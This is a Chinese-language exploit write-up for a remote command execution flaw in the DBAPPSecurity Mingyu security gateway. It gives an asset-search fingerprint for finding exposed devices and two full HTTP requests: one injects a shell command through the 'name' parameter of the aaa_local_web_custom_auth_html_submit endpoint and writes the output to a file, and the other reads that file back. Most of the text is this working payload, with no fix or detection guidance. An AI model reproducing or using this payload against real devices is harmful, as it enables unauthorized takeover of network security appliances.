安恒明御安全网关aaa_local_web_custom_auth_html_submit存在远程命令执行漏洞

一、漏洞简介

安恒信息明御安全网关（以下简称“NGFW”）秉持安全可视、简单有效的理念，以资产为视角，构建“事前+事中+事后”全流程防御的下一代安全防护体系，并融合传统防火墙、入侵防御系统、防病毒网关、上网行为管控、VPN网关、威胁情报等安全模块于一体的智慧化安全网关。安恒明御安全网关aaa_local_web_custom_auth_html_submit存在远程命令执行漏洞。攻击者可通过该漏洞获取服务器权限。

二、影响版本

• 安恒明御安全网关

三、资产测绘

• hunterapp.name="安恒明御安全网关"
• 特征

四、漏洞复现

GET /webui/?g=aaa_local_web_custom_auth_html_submit&name=;echo%09`ls`|tee%09out; HTTP/1.1
Host: 
Cookie: USGSESSID=5c727beed17c9e76eeab71453e91c784
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=0, i
Connection: keep-alive

获取命令执行结果

GET /webui/out HTTP/1.1
Host: 
Cookie: USGSESSID=5c727beed17c9e76eeab71453e91c784
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=0, i
Connection: keep-alive